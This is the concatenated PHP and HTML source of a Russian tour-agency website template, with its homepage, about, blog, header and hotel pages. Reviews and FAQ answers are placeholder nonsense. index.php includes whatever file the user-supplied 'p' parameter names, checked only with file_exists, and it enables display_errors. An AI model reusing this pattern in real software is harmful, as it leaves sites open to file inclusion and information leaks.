<h6 class="tour-page-price--header">Итого цена тура:</h6>
<div class="tour-page-price--info">
<div class="tour-page-price--info-content">
<span class="price">43 352 <i class="fa fa-rub" aria-hidden="true"></i></span>
<div class="tour-page--textincludes">Вы можете оплатить сегодня <strong>26 639</strong> руб., а остальную часть — в течение 3 дней.</div>
</div>
<div class="tour-page-price--info-button">
<a href="#" class="btn btn-lg btn-green tour-page-buy">купить тур</a>
</div>
</div>
</div>
</div>
</div> -->
</div>
<file_sep>/main.php
<div class="main-slider">
<?php
$mainText = array(
'',
'Наши цены<br>стабильные и<br>прозрачные!<br>Никаких<br>скрытых доплат!',
'Миллионы туров от крупных туроператоров и в лучшие отели!',
'Тысячи радостных путешественников по всему миру – благодаря нам :-)',
'Бонусные мили в подарок – за тур от 30 тысяч рублей',
'Мы с Вами на связи до Вашего отдыха, во время и после!'
);
for($i=1;$i<=5;$i++){ ?>
<div class="slide" style="background-image:url(DEMO/main-slider<?php echo $i; ?>.jpg">
<div class="slide-content">
<div class="container">
<div class="row">
<div class="col-md-offset-6 col-md-6 col-sm-offset-7 col-sm-5">
<div class="slide-text"><?php echo $mainText[$i]; ?></div>
</div>
</div>
</div>
</div>
</div>
<?php } ?>
</div>
<div class="main-content">
<div class="container">
<div class="row">
<div class="col-md-5 col-sm-7">
<div class="main-roundtour">
<div class="main-roundtour-content">
<div class="main-roundtour-text">
<h2>Подобрать тур</h2>
<form class="form-roundtour">
<ul class="roundtour-radio">
<!--
<li><input type="radio" class="custom-radio" name="type" checked><label>Турпутевку</label></li>
<li><input type="radio" class="custom-radio" name="type"><label>Только отель</label></li>
-->
<li>
<input type="radio" class="custom-radio1" id="type1" name="type" checked>
<label for="type1">Турпутевку</label>
</li>
<li>
<input type="radio" class="custom-radio1" id="type2" name="type">
<label for="type2">Только отель</label>
</li>
</ul>
<div class="roundtour-city">
Город вылета: <a href="#" class="roundtour-city--select">Москва</a>
<div class="roundtour-city--submenu">
<input type="text" class="form-control roundtour-city--search" value="Москва">
<a href="#" class="roundtour-city--close"><span class="icons-close_orange"></span></a>
<div class="roundtour-city--wrapper scrollbar-inner">
<ul class="roundtour-city--list">
<li>Москва</li>
<li>Санкт-Петербург</li>
<li>Абакан</li>
<li>Актау</li>
<li>Актобе</li>
<li>Алматы</li>
<li>Анадырь</li>
<li>Анапа</li>
</ul>
</div>
</div>
</div>
<div class="form-group roundtour-place--container">
<a href="#" class="roundtour-place">
<span class="icon icons-location_orange"></span>
<span class="text">Где хотите отдохнуть?</span>
</a>
<div class="roundtour-place--submenu">
<input type="text" class="form-control roundtour-place--search" value="" placeholder="Где хотите отдохнуть?">
<span class="roundtour-place--searchicon icons-location_orange"></span>
<div class="roundtour-place--wrapper scrollbar-inner">
<ul class="roundtour-place--list">
<?php
$icons = array('','home','location','aircraft');
$curort = array('','Анапа','Аналипси','Evason Ana Mandara','Hostal Santa Ana','Ana Mandara Hue','Apatrments Ana');
$curortCountry = array('','Россия','Греция','Испания ЛЛарет-де-Мар','Вьетнам Фуванг','Черногория Котор');
for($i=1;$i<=20;$i++){ ?>
<li>
<div class="roundtour-place--icon"><span class="icons-<?php echo $icons[rand(1,3)]; ?>"></span></div>
<div class="roundtour-place--info">
<h4 class="roundtour-place--curort"><?php echo $curort[rand(1,6)]; ?></h4>
<span class="roundtour-place--country"><?php echo $curortCountry[rand(1,5)]; ?></span>
</div>
<div class="roundtour-place--img"><img src="DEMO/curort<?php echo rand(1,3); ?>.jpg?ver=1.0" alt=""></div>
</li>
<?php } ?>
</ul>
</div>
</div>
</div>
<div class="form-group">
<a href="#" class="roundtour-date">
<span class="icon icons-calendar_orange"></span>
<span class="text">
<span class="roundtour-date--months">Выберите дату</span>
<span class="roundtour-date--nights">и количество ночей</span>
</span>
</a>
</div>
<div class="roundtour-people">
<div class="roundtour-people--active">
<ul class="roundtour-people--adults">
<li>
<a href="#" class="roundtour-people--remove"><i class="fa fa-times"></i></a>
<span class="icons-people-adult_white hidden-xs hidden-sm"></span>
<span class="icons-people-adultsm_white visible-sm visible-xs"></span>
</li>
<li>
<a href="#" class="roundtour-people--remove"><i class="fa fa-times"></i></a>
<span class="icons-people-adult_white hidden-xs hidden-sm"></span>
<span class="icons-people-adultsm_white visible-sm visible-xs"></span>
</li>
</ul>
<ul class="roundtour-people--childrens">
<!--
<li>
<a href="#" class="roundtour-people--remove"><i class="fa fa-times"></i></a>
<span class="icons-people-children_white hidden-xs hidden-sm"></span>
<span class="icons-people-childrensm_white visible-sm visible-xs"></span>
<div class="roundtour-people--year">2</div>
</li>
-->
</ul>
</div>
<a href="#" class="roundtour-people--addadults">
<span class="text icons-plus_orange"></span>
<span class="icon icons-people-adult_orange hidden-xs hidden-sm"></span>
<span class="icon icons-people-adultsm_orange visible-sm visible-xs"></span>
</a>
<div class="roundtour-people--addchildrens-wrapper">
<a href="#" class="roundtour-people--addchildrens">
<span class="text icons-plus_orange"></span>
<span class="icon icons-people-children_orange hidden-xs hidden-sm"></span>
<span class="icon icons-people-childrensm_orange visible-sm visible-xs"></span>
</a>
<div class="roundtour-people--years scrollbar-inner">
<ul>
<li>1 год</li>
<li>2 года</li>
<li>3 года</li>
<li>4 года</li>
<li>5 лет</li>
<li>6 лет</li>
<li>7 лет</li>
<li>8 лет</li>
</ul>
</div>
</div>
</div>
<div class="roundtour-price--wrapper">
<input type="text" class="roundtour-price" name="roundtour-price" value="" />
</div>
<div class="roundtour-button">
<button class="btn btn-black btn-block">
<span class="text">подобрать сейчас</span>
<span class="icon icons-search_white"></span>
</button>
</div>
</form>
</div>
</div>
</div>
</div>
<div class="col-md-offset-1 col-md-6 col-sm-5">
<div class="main-offer-wrapper">
<h3 class="visible-xs">Готовые решения</h3>
<div class="main-offer-slider">
<?php
$offerCountry = array('','Португалия','Россия','Япония','Индонезия','Япония','Венеция');
$offerLabels = array('','red','green','pink','dark','blue','orange');
for($i=1;$i<=6;$i++){ ?>
<div class="slide">
<?php for($j=1;$j<=2;$j++){ ?>
<a href="#" class="ready-offer">
<div class="ready-offer--img"><img src="DEMO/offer<?php echo rand(1,6); ?>.jpg?ver=1.0" alt=""></div>
<div class="ready-offer--content">
<div class="ready-offer--sale">-<?php echo rand(1,50); ?>%</div>
<h4 class="ready-offer--title"><?php echo $offerCountry[rand(1,6)]; ?></h4>
<span class="ready-offer--price ready-offer--price_<?php echo $offerLabels[rand(1,6)]; ?>">от <?php echo rand(1,99) . ' ' . rand(1,9) * 100; ?> <i class="fa fa-rub"></i></span>
</div>
</a>
<?php } ?>
</div>
<?php } ?>
</div>
</div>
</div>
</div>
</div>
<div class="roundtour-date--wrapper">
<div class="container">
<div class="col-md-offset-5 col-md-7">
<div class="roundtour-date--content">
<a href="#" class="roundtour-date--close"><span class="icons-close_grey"></span></a>
<h4>Выберите количество ночей:</h4>
<ul class="roundtour-date--night">
<?php for($i=2;$i<=20;$i++){ ?>
<li class="<?php if($i==7) {echo 'active';} ?>"><?php echo $i ?></li>
<?php } ?>
<li>более 20</li>
</ul>
<hr>
<h4>Выберите период отдыха:</h4>
<div class="roundtour-date--month"></div>
<input type="hidden" class="select-date" value="">
<div class="roundtour-date--save">
<a href="#" class="btn btn-black roundtour-date--save">Сохранить</a>
</div>
</div>
</div>
</div>
</div>
</div>
<file_sep>/index.php
<?php
error_reporting(E_ALL);
ini_set ( 'error_reporting' , E_ALL);
ini_set ( 'display_errors' , 1);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<? include '_head.php'; ?>
</head>
<body class="<?
if(isset($_GET['p']) && file_exists($_GET['p'].'.php')){
echo 'page_' . $_GET['p'];
}
else{
echo 'body-main';
}
?>" style="">
<script>document.write('<div id="preloader"><div></div></div>')</script>
<div class="canvas" id="site-wrap">
<div id="site-overlay"></div>
<?
if(isset($_GET['p']) && file_exists($_GET['p'].'.php')){
include '_header.php';
}
else{
include '_header-main.php';
}
?>
<?
if(isset($_GET['p']) && file_exists($_GET['p'].'.php')){
include $_GET['p'].'.php';
}
else{
include 'main.php';
}
?>
<? !isset($footer)||$footer!='hide'?include '_footer.php':null; ?>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.0/jquery.min.js"></script>
<script src="js/jquery.mobile.custom.min.js"></script>
<script src="js/bootstrap.min.js"></script>
<script src="js/jasny-bootstrap.min.js"></script>
<script src="js/moment.js"></script>
<script src="js/ru.js"></script>
<script src="js/jquery.easing.js"></script>
<script src="js/bootstrap-datetimepicker.min.js"></script>
<script src="js/selectize.min.js"></script>
<script src="js/jquery.quicksand.js"></script>
<script src="js/slick.min.js"></script>
<script src="js/jquery.fancybox.pack.js"></script>
<script src="js/ion.rangeSlider.min.js"></script>
<script src="js/jquery.scrollbar.min.js"></script>
<script src="js/datepicker.js"></script>
<script src="js/jquery.maskedinput.min.js"></script>
<script src="js/base.js"></script>
<script src="js/hotel.js"></script>
<script src="js/main.js"></script>
<script src="js/tour-filter.js"></script>
<script src="js/tour-page.js"></script>
<script src="js/country.js"></script>
<?if(!isset($_GET['p'])):?>
<script>
/* FOOTER SCROLLSPY */
(function(){
if(!$('body').hasClass('body-main')){
$footer = $('footer');
$(window).scroll(footerCuCu);
$(window).resize(footerCuCu);
footerCuCu();
function footerCuCu(){
var fheight = $footer.outerHeight();
var wheight = $(window).height();
if(wheight>fheight){
$('body').css('margin-bottom',fheight);
var scroll = $(window).scrollTop()+wheight;
var fscroll = scroll - ($(document).outerHeight(true)-fheight);
$footer.addClass('fixed');
if(fscroll >= 0){
$footer.removeClass('transparent');
}
else{
$footer.addClass('transparent');
}
}
else{
$footer.removeClass('fixed').removeClass('transparent');
$('body').css('margin-bottom',0);
}
}
}
})($);
</script>
<?endif?>
</body>
</html><file_sep>/about.php
<?php
/***********************************
* Created by Devorans.com
* Author: Admin
* File: about.php
* Project: tour
* Date: 10.11.2015
* Feedback: <EMAIL>
************************************/
?>
<div id="sub-header" class="xxs-compact" style="background-image:url('/DEMO/sh-about.jpg')">
<h3 class="hidden-xxs">Пара слов о том, кто мы</h3>
</div>
<div class="container" id="about-page">
<div class="breadcrumbs"><a href="#">Главная</a> - <a href="#">О компании</a></div>
<h1>О компании</h1>
<div class="info clearfix">
<p>Вместе с тем, политическое учение Локка взаимно. Политическое учение <NAME> верифицирует субъект власти. Парадигма трансформации общества, тем более в условиях социально-экономического кризиса, фактически означает онтологический политический процесс в современной России.</p>
<p>Согласно концепции М.Маклюэна, политическое манипулирование теоретически обретает элемент политического процесса. Социализм, однако, вызывает референдум.</p>
<p>Доиндустриальный тип политической культуры, несмотря на внешние воздействия, определяет теоретический социализм. В данной ситуации демократия участия отражает авторитаризм, впрочем, это несколько расходится с концепцией Истона.</p>
</div>
</div>
<div class="container-fluid" id="about-comments">
<div class="row">
<div class="comment hidden-xs col-sm-12 col-md-8" style="background-image:url(/DEMO/comment-1.jpg);column-span:2">
<div class="clearfix">
<h3 class="name"><NAME></h3>
<div class="stars">
<i class="glyphicon glyphicon-star active"></i>
<i class="glyphicon glyphicon-star active"></i>
<i class="glyphicon glyphicon-star active"></i>
<i class="glyphicon glyphicon-star active"></i>
<i class="glyphicon glyphicon-star active"></i>
</div>
</div>
<div class="text">
<p>Согласно концепции М.Маклюэна, политическое манипулирование теоретически обретает элемент политического процесса. Доиндустриальный тип политической культуры, несмотря на внешние воздействия, определяет теоретический социализм.</p>
</div>
<div class="rating">9/10</div>
</div>
<div class="comment col-xs-12 hidden-sm col-md-4" style="background:#366e54">
<div class="clearfix">
<h3 class="name">Светлана</h3>
<div class="stars">
<i class="glyphicon glyphicon-star active"></i>
<i class="glyphicon glyphicon-star active"></i>
<i class="glyphicon glyphicon-star active"></i>
<i class="glyphicon glyphicon-star active"></i>
<i class="glyphicon glyphicon-star active"></i>
</div>
</div>
<div class="text">
<p>Согласно концепции М.Маклюэна, политическое манипулирование теоретически обретает элемент политического процесса. Доиндустриальный тип политической культуры, несмотря на внешние воздействия, определяет теоретический социализм.</p>
</div>
<div class="rating">9/10</div>
</div>
<div class="comment col-xs-12 col-sm-6 col-md-4" style="background:#965738">
<div class="clearfix">
<h3 class="name"><NAME></h3>
<div class="stars">
<i class="glyphicon glyphicon-star active"></i>
<i class="glyphicon glyphicon-star active"></i>
<i class="glyphicon glyphicon-star active"></i>
<i class="glyphicon glyphicon-star active"></i>
<i class="glyphicon glyphicon-star"></i>
</div>
</div>
<div class="text">
<p>Согласно концепции М.Маклюэна, политическое манипулирование теоретически обретает элемент политического процесса. Доиндустриальный тип политической культуры, несмотря на внешние воздействия, определяет теоретический социализм.</p>
</div>
<div class="rating">8/10</div>
</div>
<div class="comment hidden-xs col-sm-6 col-md-4" style="background-image:url(/DEMO/comment-2.jpg)">
<div class="clearfix">
<h3 class="name"><NAME></h3>
<div class="stars">
<i class="glyphicon glyphicon-star active"></i>
<i class="glyphicon glyphicon-star active"></i>
<i class="glyphicon glyphicon-star active"></i>
<i class="glyphicon glyphicon-star active"></i>
<i class="glyphicon glyphicon-star"></i>
</div>
</div>
<div class="text">
<p>Интегрирование по частям расточительно создает комплексный предел последовательности, что неудивительно.</p>
<p>Замкнутое множество, как следует из вышесказанного, накладывает стремящийся минимум</p>
</div>
<div class="rating">8,5/10</div>
</div>
<div class="comment col-xs-12 hidden-sm col-md-4" style="background:#3e5870">
<div class="clearfix">
<h3 class="name"><NAME></h3>
<div class="stars">
<i class="glyphicon glyphicon-star active"></i>
<i class="glyphicon glyphicon-star active"></i>
<i class="glyphicon glyphicon-star active"></i>
<i class="glyphicon glyphicon-star active"></i>
<i class="glyphicon glyphicon-star active"></i>
</div>
</div>
<div class="text">
<p>Согласно концепции М.Маклюэна, политическое манипулирование теоретически обретает элемент политического процесса. Доиндустриальный тип политической культуры, несмотря на внешние воздействия, определяет теоретический социализм.</p>
</div>
<div class="rating">10/10</div>
</div>
</div>
</div>
<div class="more"><a href="#">Показать еще отзывы</a></div>
<div class="container-fluid" id="faq">
<h2 class="text-center">Частые вопросы</h2>
<div class="categories">
<div class="hidden-xxs row">
<div class="col-xs-10 col-xs-offset-1 col-sm-10 col-sm-offset-1 col-md-10 col-md-offset-1 col-lg-10 col-lg-offset-1">
<a href="#" class="active">В ожидании вылета</a>
<a href="#">До покупки</a>
<a href="#">На отдыхе</a>
<a href="#">По приезду</a>
</div>
</div>
<div class="btn-group">
<button type="button" class="btn dropdown-toggle" data-toggle="dropdown"><span class="caret"></span>Все</button>
<ul class="dropdown-menu">
<li><a href="#">В ожидании вылета</a></li>
<li><a href="#">До покупки</a></li>
<li><a href="#">На отдыхе</a></li>
<li><a href="#">По приезду</a></li>
</ul>
</div>
</div>
<div class="questions row">
<div class="item clearfix">
<a class="question"><div class="container">Как узнать окончательную стоимость тура?</div></a>
<div class="container">
<div class="answer">Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура?</div>
</div>
</div>
<div class="item clearfix">
<a class="question"><div class="container">Где вы находитесь?</div></a>
<div class="container">
<div class="answer">Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура?</div>
</div>
</div>
<div class="item clearfix">
<a class="question"><div class="container">Когда нужно заплатить остаток суммы, если я внес аванс 30%?</div></a>
<div class="container">
<div class="answer">Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура?</div>
</div>
</div>
<div class="item clearfix">
<a class="question"><div class="container">Можете ли вы прописать в договоре № рейса и аэропорт вылета?</div></a>
<div class="container">
<div class="answer">Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура?</div>
</div>
</div>
<div class="item clearfix">
<a class="question"><div class="container">Цена тура для иностранных граждан такая же, как на сайте?</div></a>
<div class="container">
<div class="answer">Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура?</div>
</div>
</div>
<div class="item clearfix">
<a class="question"><div class="container">Если я еду с ребенком, нужно ли разрешение на поездку от его родителей?</div></a>
<div class="container">
<div class="answer">Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура?</div>
</div>
</div>
<div class="item clearfix">
<a class="question"><div class="container">На какой срок мне дадут визу?</div></a>
<div class="container">
<div class="answer">Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура?</div>
</div>
</div>
<div class="item clearfix">
<a class="question"><div class="container">У меня изменился e-mail или телефон. Как перенести мои бонусные мили?</div></a>
<div class="container">
<div class="answer">Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура?</div>
</div>
</div>
<div class="item clearfix">
<a class="question"><div class="container">Какой туроператор у меня и надежный ли он?</div></a>
<div class="container">
<div class="answer">Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура? Как узнать окончательную стоимость тура?</div>
</div>
</div>
</div>
</div>
<? include '_before-footer.php' ?>
<a name="footer-map1" id="footer-map1" style="position: relative;top: -150px;"></a>
<div id="footer-map" class="frame-map">
<!--
<script type="text/javascript" charset="utf-8" src="https://api-maps.yandex.ru/services/constructor/1.0/js/?sid=QLHN4-YsKcxeTTeAJgGm34YMzohbIMKj&width=100%&height=600&lang=ru_RU&sourceType=constructor"></script>
-->
<script src="http://api-maps.yandex.ru/2.0/?load=package.full&lang=ru-RU" type="text/javascript"></script>
<script type="text/javascript">
ymaps.ready(init); // карта соберется после загрузки скрипта и элементов
var myMap; // заглобалим переменную карты чтобы можно было ею вертеть из любого места
function init () { // функция - собиралка карты и фигни
myMap = new ymaps.Map("map", { // создаем и присваиваем глобальной переменной карту и суем её в див с id="map"
center: [55.7375,37.6293], // ну тут центр
//behaviors: ['default', 'scrollZoom'], // скроллинг колесом
zoom: 15 // тут масштаб
});
myMap.controls // добавим всяких кнопок, в скобках их позиции в блоке
.add('zoomControl', { left: 5, top: 5 }) //Масштаб
.add('typeSelector'); //Список типов карты
/* Создаем кастомные метки */
myPlacemark0 = new ymaps.Placemark([55.7375,37.6293], { // Создаем метку с такими координатами и суем в переменную
balloonContent: '<div class="ballon"><p class="ballon-location">у<NAME>, д. 43, стр. 3, офис 5, г. Москва, 119017</p><div class="ballon-phone">8 800 555 35 35</div><a href="#" class="ballon-email"><EMAIL></a><span class="ballon-close" onclick="myMap.balloon.close()"><i class="fa fa-times"></i></span></div>' // сдесь содержимое балуна в формате html, все стили в css
}, {
iconImageHref: 'img/marker.png', // картинка иконки
iconImageSize: [49, 68], // размер иконки
iconImageOffset: [-24, -68], // позиция иконки
balloonContentSize: [588, 316], // размер нашего кастомного балуна в пикселях
balloonLayout: "default#imageWithContent", // указываем что содержимое балуна кастомная херь
balloonImageOffset: [-65, -89], // смещание балуна, надо подогнать под стрелочку
balloonImageSize: [588, 316], // размер картинки-бэкграунда балуна
balloonShadow: false,
balloonAutoPan: false // для фикса кривого выравнивания
});
/* Добавляем */
myMap.geoObjects
.add(myPlacemark0);
/* Фикс кривого выравнивания кастомных балунов */
myMap.geoObjects.events.add([
'balloonopen'
], function (e) {
var geoObject = e.get('target');
myMap.panTo(geoObject.geometry.getCoordinates(), {
delay: 0
});
});
}
</script>
<div id="map"></div>
</div>
<file_sep>/blog.php
<?php
/***********************************
* Created by Devorans.com
* Author: HukpoFuJl
* File: blog.php
* Project: TOUR
* Date: 17.10.2015
* Feedback: <EMAIL>
************************************/?>
<div id="sub-header" style="background-image:url('/DEMO/sh-blog.jpg')">
<h3>Пишем обо всем</h3>
</div>
<h1 class="text-center blog">Интересные статьи</h1>
<div class="blog-categories container-fluid text-center">
<div class="hidden-xxs row">
<div class="col-xs-10 col-xs-offset-1 col-sm-10 col-sm-offset-1 col-md-10 col-md-offset-1 col-lg-10 col-lg-offset-1">
<a class="active" href="#" data-filter-by="category" data-target=".blog-list .filtered" data-value="*">Все</a>
<a href="#" data-filter-by="category" data-target=".blog-list .filtered" data-value="aqua">Аквапарки</a>
<a href="#" data-filter-by="category" data-target=".blog-list .filtered" data-value="busn">Бизнес</a>
<a href="#" data-filter-by="category" data-target=".blog-list .filtered" data-value="gstr">Гастротуризм</a>
<a href="#" data-filter-by="category" data-target=".blog-list .filtered" data-value="grek">Греция</a>
<a href="#" data-filter-by="category" data-target=".blog-list .filtered" data-value="chld">Дети</a>
<a href="#" data-filter-by="category" data-target=".blog-list .filtered" data-value="egip">Египет</a>
<a href="#" data-filter-by="category" data-target=".blog-list .filtered" data-value="intr">Интересное</a>
</div>
</div>
<div class="btn-group">
<button type="button" class="btn dropdown-toggle" data-toggle="dropdown"><span class="caret"></span>Все</button>
<ul class="dropdown-menu">
<li><a href="#" data-filter-by="category" data-target=".blog-list .filtered" data-value="aqua">Аквапарки</a></li>
<li><a href="#" data-filter-by="category" data-target=".blog-list .filtered" data-value="busn">Бизнес</a></li>
<li><a href="#" data-filter-by="category" data-target=".blog-list .filtered" data-value="gstr">Гастротуризм</a></li>
<li><a href="#" data-filter-by="category" data-target=".blog-list .filtered" data-value="grek">Греция</a></li>
<li><a href="#" data-filter-by="category" data-target=".blog-list .filtered" data-value="chld">Дети</a></li>
<li><a href="#" data-filter-by="category" data-target=".blog-list .filtered" data-value="egip">Египет</a></li>
<li><a href="#" data-filter-by="category" data-target=".blog-list .filtered" data-value="intr">Интересное</a></li>
</ul>
</div>
</div>
<div class="container">
<div class="row blog-list">
<div data-category="aqua chld intr" class="filtered col-lg-3 col-md-4 col-sm-6 col-xs-12">
<a href="/?p=blog-item" class="blog-list-item">
<div class="blog-item-thumb"><img src="/DEMO/blog-item-1.jpg"></div>
<h2>Конструктивный коммунальный модернизм</h2>
<div class="blog-item-date">10.05.2015</div>
</a>
</div>
<div data-category="busn gstr grek" class="filtered col-lg-3 col-md-4 col-sm-6 col-xs-12">
<a href="/?p=blog-item" class="blog-list-item">
<div class="blog-item-thumb"><img src="/DEMO/blog-item-2.jpg"></div>
<h2>Конструктивный коммунальный модернизм: гипотеза и теории</h2>
<div class="blog-item-date">10.05.2015</div>
</a>
</div>
<div data-category="chld egip intr" class="filtered col-lg-3 col-md-4 col-sm-6 col-xs-12">
<a href="/?p=blog-item" class="blog-list-item">
<div class="blog-item-thumb"><img src="/DEMO/blog-item-3.jpg"></div>
<h2>Отличные отели для семейного отдыха</h2>
<div class="blog-item-date">10.05.2015</div>
</a>
</div>
<div data-category="aqua gstr grek" class="filtered col-lg-3 col-md-4 col-sm-6 col-xs-12">
<a href="/?p=blog-item" class="blog-list-item">
<div class="blog-item-thumb"><img src="/DEMO/blog-item-4.jpg"></div>
<h2>Отличные отели для семейного отдыха</h2>
<div class="blog-item-date">10.05.2015</div>
</a>
</div>
<div data-category="busn chld egip" class="filtered col-lg-3 col-md-4 col-sm-6 col-xs-12">
<a href="/?p=blog-item" class="blog-list-item">
<div class="blog-item-thumb"><img src="/DEMO/blog-item-5.jpg"></div>
<h2>Конструктивный коммунальный модернизм</h2>
<div class="blog-item-date">10.05.2015</div>
</a>
</div>
<div data-category="aqua grek intr" class="filtered col-lg-3 col-md-4 col-sm-6 col-xs-12">
<a href="/?p=blog-item" class="blog-list-item">
<div class="blog-item-thumb"><img src="/DEMO/blog-item-6.jpg"></div>
<h2>Конструктивный коммунальный модернизм: гипотеза и теории</h2>
<div class="blog-item-date">10.05.2015</div>
</a>
</div>
<div class="clearfix"></div>
<div class="text-center">
<button class="btn-more">Показать еще</button>
</div>
</div>
</div><file_sep>/_header.php
<?php
$menu = array(
'blog'=>'Блог',
'promo'=>'Акции',
'promo-item'=>'Акция',
'tour-by-country'=>'Туры по странам',
'tour-filtered'=>'Выдача туров',
'tour-hot'=>'Горячие туры',
'hotels-by-country'=>'Отели по странам',
'hotel'=>'Страница отеля',
'operators'=>'Туроператоры',
'about'=>'О нас',
'country'=> 'Страна'
);
$menuHTML = '<li'.(isset($_GET['p'])?'':' class="active"').'><a href="/">Главная</a></li>';
$menuHTML .= '<li class="visible-xs"><a href="?p=about#footer-map">Контакты</a></li>';
$menuHTML .= '<li class="visible-xs"><a href="?'.time().'#showfilter">Подобрать тур</a></li>';
$active = false;
foreach($menu as $s => $n){
$active = isset($_GET['p'])&&$_GET['p']==$s?true:$active;
$menuHTML .= '<li'.(isset($_GET['p'])&&$_GET['p']==$s?' class="active"':'').'><a href="?p='.$s.'">'.$n.'</a></li>';
}
?>
<nav id="site-menu" class="navmenu navmenu-default navmenu-fixed-right offcanvas" role="navigation">
<ul class="nav navmenu-nav">
<?=$menuHTML?>
<li><a> </a></li>
<li><a href="#">Избранное</a><span>0</span></li>
</ul>
<input type="search" placeholder="">
</nav>
<a href="/?p=login-reg" id="login-link" class="fa fa-lock">
<svg width="40px" height="40px">
<circle class="path" r="17" cx="20" cy="20" fill="transparent" stroke-width="3"></circle>
</svg>
</a>
<button type="button" id="nav-toggle" data-recalc="false" data-toggle="offcanvas" data-target="#site-menu" data-canvas="#site-wrap">
<span class="icon-bar top"></span>
<span class="icon-bar middle"></span>
<span class="icon-bar bottom"></span>
</button>
<header class="container-fluid" id="all-header">
<div class="row">
<div class="hidden-xs col-md-4 col-sm-4 text-right">
<a class="header-link" <?=isset($_GET['p'])?'href="/#showfilter"':'href="#" data-click="showfilter"'?>>Подобрать тур</a>
</div>
<div class="col-xs-8 col-md-4 col-sm-4 text-center" id="logo">
<a href="/">ПОЕДЕМ В ТУР</a>
<em>мобильный туроператор</em>
</div>
<div class="hidden-xs col-md-4 col-sm-4 text-left">
<a class="header-link" href="/?p=about#footer-map">Контакты</a>
<br>
<span class="header-phone">8 800 500-53-16</span>
</div>
</div>
</header><file_sep>/hotels-by-country.php
<?php
/***********************************
* Created by Devorans.com
* Author: Admin
* File: hotels-by-country.php
* Project: tour
* Date: 20.10.2015
* Feedback: <EMAIL>
************************************/?>
<div id="sub-header" class="xxs-compact" style="background-image:url('/DEMO/sh-hotels-by-country.jpg')">
<h3 class="hidden-xxs">Отели по странам</h3>
</div>
<h3 class="visible-xxs container text-center">Отели по странам</h3>
<div class="container-fluid text-center" id="continent-list">
<div class="hidden-sm hidden-xs hidden-xxs row">
<div class="col-lg-10 col-lg-offset-1">
<a class="active" href="#">Европпа</a>
<a href="#">Азия</a>
<a href="#">Южная Америка</a>
<a href="#">Карибский бассейн</a>
<a href="#">Северная Америка</a>
<a href="#">Африка и Индийский океан</a>
<a href="#">Ближний и Средний Восток</a>
<a href="#">Мексика и центральная Америка</a>
</div>
</div>
<div class="visible-sm visible-xs visible-xxs row">
<div class="btn-group col-sm-8 col-sm-offset-2 col-xs-10 col-xs-offset-1">
<button type="button" class="btn dropdown-toggle" data-toggle="dropdown"><span class="caret"></span>Европпа</button>
<ul class="dropdown-menu">
<li><a href="#">Азия</a></li>
<li><a href="#">Южная Америка</a></li>
<li><a href="#">Карибский бассейн</a></li>
<li><a href="#">Северная Америка</a></li>
<li><a href="#">Африка и Индийский океан</a></li>
<li><a href="#">Ближний и Средний Восток</a></li>
<li><a href="#">Мексика и центральная Америка</a></li>
</ul>
</div>
</div>
</div>
<div class="container">
<div class="row">
<div class="col-xs-11 col-xs-offset-1 col-sm-8 col-sm-offset-2 col-md-8 col-md-offset-2 col-lg-8 col-lg-offset-2">
<div class="clearfix row-fluid" id="countries">
<div class="col-lg-4 col-md-4 col-sm-6 col-xs-12"><a href="/?p=hotels-in-country"><i><img src="/img/flags/abhz.gif"></i><span>Абхазия </span></a></div>
<div class="col-lg-4 col-md-4 col-sm-6 col-xs-12"><a href="/?p=hotels-in-country"><i><img src="/img/flags/avsr.gif"></i><span>Австрия </span></a></div>
<div class="col-lg-4 col-md-4 col-sm-6 col-xs-12"><a href="/?p=hotels-in-country"><i><img src="/img/flags/andr.gif"></i><span>Андорра </span></a></div>
